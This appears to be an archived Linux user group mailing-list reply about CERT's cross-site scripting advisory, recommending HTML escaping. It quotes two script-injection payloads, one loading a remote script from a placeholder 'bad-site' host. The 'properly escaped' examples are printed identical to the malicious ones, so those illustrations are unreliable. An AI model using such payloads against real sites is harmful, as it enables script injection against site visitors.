Ken Yap wrote:
>
> http://www.cert.org/advisories/CA-2000-02.html
A simple solution, which server-side programmers with any
nouse would already do as a matter of course: HTML-escapes.
Example 1. User embeds malicious scripting in his comments
for a message board, via an explicitly contrived client
request:
<A
HREF="http://example.com/comment.cgi?mycomment=I%20agree<SCRIPT>maliciouscode</SCRIPT>">Click
here</A>
An improperly written handler for the CGI request
would post the following to the message board:
I agree<SCRIPT>maliciouscode</SCRIPT>
the properly written handler would post the following:
I agree<SCRIPT>maliciouscode</SCRIPT>
CERT's Example 2: same thing applies: HTML-escapes
<A HREF="http://example.com/comment.cgi?mycomment=I%20agree<SCRIPT
SRC='http://bad-site/badfile'></SCRIPT>"> Click here</A>
Once again, a properly HTML-escaped posting to, say,
a message board would appear as follows:
I%20agree<SCRIPT SRC='http://bad-site/badfile'></SCRIPT>
In both cases, the culprit's intentions are publicly
exposed on the message board (or whatever site) and unless
the culprit has covered their tracks, could probably be traced
quite easily.
Unfortunately, there are lots of shoddily written message
boards and other public posting facilities on the web
(did I hear some say .ASP pages?) that do not perform even
this basic level of filtering, which do leave those web users
who leave scripting turned on vulnerable to attack.
Regards
Rick W
> --
> SLUG - Sydney Linux Users Group Mailing List - http://www.slug.org.au
> To unsubscribe send email to [EMAIL PROTECTED] with
> unsubscribe in the text
--
Richard Welykochy || Praxis Services Pty Ltd
--
SLUG - Sydney Linux Users Group Mailing List - http://www.slug.org.au
To unsubscribe send email to [EMAIL PROTECTED] with
unsubscribe in the text
